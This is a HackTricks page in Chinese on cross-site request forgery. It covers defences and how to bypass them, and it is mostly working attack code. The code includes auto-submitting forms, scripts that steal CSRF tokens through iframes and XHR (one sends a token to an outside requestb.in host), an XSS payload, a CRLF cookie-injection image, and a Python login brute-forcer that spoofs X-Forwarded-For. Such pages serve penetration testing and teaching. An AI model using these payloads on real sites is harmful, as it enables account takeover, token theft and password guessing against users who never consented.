CSRF (Cross Site Request Forgery)
Reading time: 22 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Cross-Site Request Forgery (CSRF) 解释
Cross-Site Request Forgery (CSRF) 是一种出现在 web 应用中的安全漏洞。它允许攻击者利用用户的已认证会话替用户执行操作。当用户在受害者平台已登录时访问恶意站点,攻击就会被触发。该站点通过执行 JavaScript、提交表单或获取图片等方式向受害者账户发送请求。
CSRF 攻击的先决条件
要利用 CSRF 漏洞,需要满足几个条件:
- Identify a Valuable Action: 攻击者需要找到一个值得利用的操作,例如更改用户的密码、电子邮件或提升权限。
- Session Management: 用户的会话应仅通过 cookies 或 HTTP Basic Authentication header 管理,因为其他 header 无法为此目的被操控。
- Absence of Unpredictable Parameters: 请求不应包含不可预测的参数,否则可能会阻止攻击。
快速检查
你可以在 Burp 中捕获请求并检查 CSRF 保护;要在浏览器中测试,可以点击 Copy as fetch 并检查请求:
 (1) (1).png)
防御 CSRF
可以实施多种对策来防范 CSRF 攻击:
- SameSite cookies: 该属性阻止浏览器在跨站请求时随请求发送 cookies。 More about SameSite cookies.
- Cross-origin resource sharing: 受害者站点的 CORS 策略会影响攻击的可行性,尤其是在攻击需要读取受害者站点响应时。 Learn about CORS bypass.
- User Verification: 要求用户输入密码或完成验证码可用于确认用户意图。
- Checking Referrer or Origin Headers: 验证这些 header 可以帮助确保请求来自受信任的来源。然而,精心构造的 URL 仍可绕过实现不当的检查,例如:
- 使用
http://mal.net?orig=http://example.com
(URL 以受信任 URL 结尾) - 使用
http://example.com.mal.net
(URL 以受信任 URL 开头)
- 使用
- Modifying Parameter Names: 改变 POST 或 GET 请求中参数的名称可以帮助防止自动化攻击。
- CSRF Tokens: 在每个会话中加入唯一的 CSRF token,并在后续请求中要求提供该 token,可以显著降低 CSRF 风险。通过强制执行 CORS 可以增强 token 的有效性。
理解并实现这些防护措施对于维护 web 应用的安全性和完整性至关重要。
防御绕过
从 POST 到 GET (method-conditioned CSRF validation bypass)
一些应用只在 POST 上执行 CSRF 验证,而对其他 HTTP 动词跳过。PHP 中常见的反模式如下:
public function csrf_check($fatal = true) {
if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
// ... validate __csrf_token here ...
}
如果易受攻击的端点也接受来自 $_REQUEST 的参数,你可以以 GET 请求重新发送相同的操作并完全省略 CSRF token。这会把仅限 POST 的操作转换为无需 token 就能成功的 GET 操作。
Example:
- Original POST with token (intended):
POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
- Bypass by switching to GET (no token):
GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
Notes:
- 这种模式经常与 reflected XSS 一起出现,响应被错误地以 text/html 而不是 application/json 返回。
- 将此与 XSS 结合会大大降低利用门槛,因为你可以提供一个单一的 GET 链接,既触发易受攻击的代码路径,又完全绕过 CSRF 检查。
缺少 token
应用可能会在 token 存在时实现验证机制。然而,如果在 token 缺失时完全跳过验证,就会产生漏洞。攻击者可以通过删除携带 token 的参数(不仅仅是清空其值)来利用这一点。这允许他们绕过验证流程并有效地发起 Cross-Site Request Forgery (CSRF) 攻击。
CSRF token 未绑定到用户会话
未将 CSRF token 绑定到用户会话的应用存在重大安全风险。这类系统将 token 与全局池进行校验,而不是确保每个 token 与发起会话关联。
攻击者利用该问题的方式如下:
- 使用自己的账户进行认证。
- 从全局池获取一个有效的 CSRF token。
- 在针对受害者的 CSRF 攻击中使用该 token。
该漏洞允许攻击者代表受害者发起未授权请求,利用应用不充分的 token 验证机制。
方法绕过
如果请求使用一个“奇怪”的 method,检查 method override 功能是否生效。例如,如果它使用 PUT method,你可以尝试使用 POST method 并发送: https://example.com/my/dear/api/val/num?_method=PUT
这也可以通过在 POST 请求中发送 _method 参数或使用以下 headers 来实现:
- X-HTTP-Method
- X-HTTP-Method-Override
- X-Method-Override
自定义 header token 绕过
如果请求通过在自定义 header 中添加 token 来作为 CSRF 保护方法,那么:
- 在没有 Customized Token 及其 header 的情况下测试请求。
- 使用相同长度但不同的 token 测试请求。
CSRF token 由 cookie 验证
应用可能通过在 cookie 和请求参数中同时复制 token,或设置 CSRF cookie 并在后端验证请求中发送的 token 是否与 cookie 对应来实现 CSRF 保护。应用通过检查请求参数中的 token 是否与 cookie 的值一致来验证请求。
然而,如果网站存在允许攻击者在受害者浏览器中设置 CSRF cookie 的漏洞(例如 CRLF 漏洞),此方法就容易受到 CSRF 攻击。攻击者可以先通过加载一个伪装的图片来设置该 cookie,然后发起 CSRF 攻击。
Below is an example of how an attack could be structured:
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input
type="hidden"
name="csrf"
value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img
src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
onerror="document.forms[0].submit();" />
</body>
</html>
tip
请注意,如果 csrf token is related with the session cookie this attack won't work,因为你需要将 victim 的 session 设置为你的 session,因此你将攻击自己。
Content-Type change
根据 this,为了在使用 POST 方法时避免 preflight 请求,允许的 Content-Type 值包括:
application/x-www-form-urlencoded
multipart/form-data
text/plain
但是请注意,服务器逻辑可能会根据所使用的 Content-Type 而有所不同,因此你应该尝试上面提到的值以及其他例如 application/json
, text/xml
, application/xml
。
示例(来自 here)将 JSON 数据作为 text/plain 发送:
<html>
<body>
<form
id="form"
method="post"
action="https://phpme.be.ax/"
enctype="text/plain">
<input
name='{"garbageeeee":"'
value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
</form>
<script>
form.submit()
</script>
</body>
</html>
绕过针对 JSON 数据的预检请求
当尝试通过 POST 请求发送 JSON 数据时,在 HTML 表单中使用 Content-Type: application/json
并不可行。同样,使用 XMLHttpRequest
发送此 Content-Type 会触发预检请求。不过,存在一些策略可以尝试绕过此限制,并检测服务器是否会在不考虑 Content-Type 的情况下处理 JSON 数据:
- 使用替代 Content-Type:通过在表单中设置
enctype="text/plain"
来使用Content-Type: text/plain
或Content-Type: application/x-www-form-urlencoded
。这种方法用于测试后台是否在不看 Content-Type 的情况下使用数据。 - 修改 Content-Type:为避免预检请求并尽量让服务器识别为 JSON,可以使用
Content-Type: text/plain; application/json
发送数据。这不会触发预检请求,但如果服务器被配置为接受application/json
,可能会被正确处理。 - 使用 SWF Flash 文件:一种不太常见但可行的方法是使用 SWF flash 文件来绕过这些限制。要深入了解此技术,请参阅 this post。
Referrer / Origin 检查绕过
避免 Referer header
应用可能只在 'Referer' header 存在时对其进行验证。要阻止浏览器发送该 header,可使用以下 HTML meta 标签:
<meta name="referrer" content="never">
这将确保 'Referer' 头被省略,可能绕过某些应用中的验证检查。
Regexp bypasses
要在 Referrer 将在参数中发送的 URL 中设置服务器的域名,你可以这样做:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head>
<meta name="referrer" content="unsafe-url" />
</head>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState(
"",
"",
"?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
)
document.forms[0].submit()
</script>
</body>
</html>
HEAD 方法绕过
在 this CTF writeup 的第一部分解释了 Oak's source code 中,一个 router 被设置为 handle HEAD requests as GET requests 且没有响应体 —— 这是一个常见的变通方法,并非 Oak 独有。与其使用专门处理 HEAD reqs 的 handler,它们只是被交给 GET handler,但应用只是移除响应体。
因此,如果 GET 请求受到限制,你可以发送一个将被作为 GET 处理的 HEAD 请求。
Exploit Examples
Exfiltrating CSRF Token
如果应用使用 CSRF token 作为 defence,你可以尝试通过滥用 XSS 漏洞或 Dangling Markup 漏洞来exfiltrate it。
GET using HTML tags
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
其他可以用来自动发送 GET 请求的 HTML5 标签有:
<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="" />
<embed src="..." />
<audio src="...">
<video src="...">
<source src="..." type="..." />
<video poster="...">
<link rel="stylesheet" href="..." />
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body {
background: url("...");
}
</style>
<bgsound src="...">
<track src="..." kind="subtitles" />
<input type="image" src="..." alt="Submit Button"
/></bgsound>
</body>
</object>
</video>
</video>
</audio>
表单 GET 请求
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
history.pushState("", "", "/")
</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
表单 POST 请求
<html>
<body>
<script>
history.pushState("", "", "/")
</script>
<form
method="POST"
action="https://victim.net/email/change-email"
id="csrfform">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src="x" onerror="csrfform.submit();" />
<!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit() //Way 3 to autosubmit
</script>
</body>
</html>
通过 iframe 发送 Form POST 请求
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input
type="hidden"
name="email"
value="some@email.com"
autofocus
onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit()
</script>
</body>
</html>
Ajax POST 请求
<script>
var xh
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xh = new XMLHttpRequest()
} else {
// code for IE6, IE5
xh = new ActiveXObject("Microsoft.XMLHTTP")
}
xh.withCredentials = true
xh.open(
"POST",
"http://challenge01.root-me.org/web-client/ch22/?action=profile"
)
xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on")
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2",
})
</script>
multipart/form-data POST 请求
myFormData = new FormData()
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
myFormData.append("newAttachment", blob, "pwned.php")
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
mode: "no-cors",
})
multipart/form-data POST 请求 v2
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest()
xhr.withCredentials = true
xhr.open("POST", url, true)
// MIME POST request.
xhr.setRequestHeader(
"Content-Type",
"multipart/form-data, boundary=" + boundary
)
xhr.setRequestHeader("Content-Length", fileSize)
var body = "--" + boundary + "\r\n"
body +=
'Content-Disposition: form-data; name="' +
nameVar +
'"; filename="' +
fileName +
'"\r\n'
body += "Content-Type: " + ctype + "\r\n\r\n"
body += fileData + "\r\n"
body += "--" + boundary + "--"
//xhr.send(body);
xhr.sendAsBinary(body)
从 iframe 内发起的 Form POST 请求
<--! expl.html -->
<body onload="envia()">
<form
method="POST"
id="formulario"
action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva" />
</form>
<body>
<script>
function envia() {
document.getElementById("formulario").submit()
}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
</body>
</body>
窃取 CSRF Token 并发送 POST request
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest()
xhr.open("POST", POST_URL, true)
xhr.withCredentials = true
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
// This is for debugging and can be removed
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy")
}
function getTokenJS() {
var xhr = new XMLHttpRequest()
// This tels it to return it as a HTML document
xhr.responseType = "document"
xhr.withCredentials = true
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true)
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token")
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value)
}
}
// Make the request
xhr.send(null)
}
var GET_URL = "http://google.com?param=VALUE"
var POST_URL = "http://google.com?param=VALUE"
getTokenJS()
窃取 CSRF Token 并使用 iframe、form 和 Ajax 发送 POST 请求
<form
id="form1"
action="http://google.com?param=VALUE"
method="post"
enctype="multipart/form-data">
<input type="text" name="username" value="AA" />
<input type="checkbox" name="status" checked="checked" />
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1() {
x1 = document.getElementById("i1")
x1d = x1.contentWindow || x1.contentDocument
t = x1d.document.getElementById("token").value
document.getElementById("token").value = t
document.getElementById("form1").submit()
}
</script>
<iframe
id="i1"
style="display:none"
src="http://google.com?param=VALUE"
onload="javascript:f1();"></iframe>
窃取 CSRF Token 并使用 iframe 和 form 发送 POST 请求
<iframe
id="iframe"
src="http://google.com?param=VALUE"
width="500"
height="500"
onload="read()"></iframe>
<script>
function read() {
var name = "admin2"
var token =
document.getElementById("iframe").contentDocument.forms[0].token.value
document.writeln(
'<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">'
)
document.writeln(
'<input id="username" type="text" name="username" value="' +
name +
'" /><br />'
)
document.writeln(
'<input id="token" type="hidden" name="token" value="' + token + '" />'
)
document.writeln(
'<input type="submit" name="submit" value="Submit" /><br/>'
)
document.writeln("</form>")
document.forms[0].submit.click()
}
</script>
窃取 token 并使用 2 个 iframes 发送
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POST — 使用 Ajax 窃取 CSRF token 并通过表单发送 post
<body onload="getData()">
<form
id="form"
action="http://google.com?param=VALUE"
method="POST"
enctype="multipart/form-data">
<input type="hidden" name="username" value="root" />
<input type="hidden" name="status" value="on" />
<input type="hidden" id="findtoken" name="token" value="" />
<input type="submit" value="valider" />
</form>
<script>
var x = new XMLHttpRequest()
function getData() {
x.withCredentials = true
x.open("GET", "http://google.com?param=VALUE", true)
x.send(null)
}
x.onreadystatechange = function () {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1]
document.getElementById("findtoken").value = token
document.getElementById("form").submit()
}
}
</script>
</body>
使用 Socket.IO 的 CSRF
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io("http://six.jh2i.com:50022/test")
const username = "admin"
socket.on("connect", () => {
console.log("connected!")
socket.emit("join", {
room: username,
})
socket.emit("my_room_event", {
data: "!flag",
room: username,
})
})
</script>
CSRF Login Brute Force
该代码可用于使用 CSRF token 对登录表单进行 Brut Force(它也使用 X-Forwarded-For 头来尝试绕过可能的 IP 黑名单):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
工具
参考资料
- https://portswigger.net/web-security/csrf
- https://portswigger.net/web-security/csrf/bypassing-token-validation
- https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。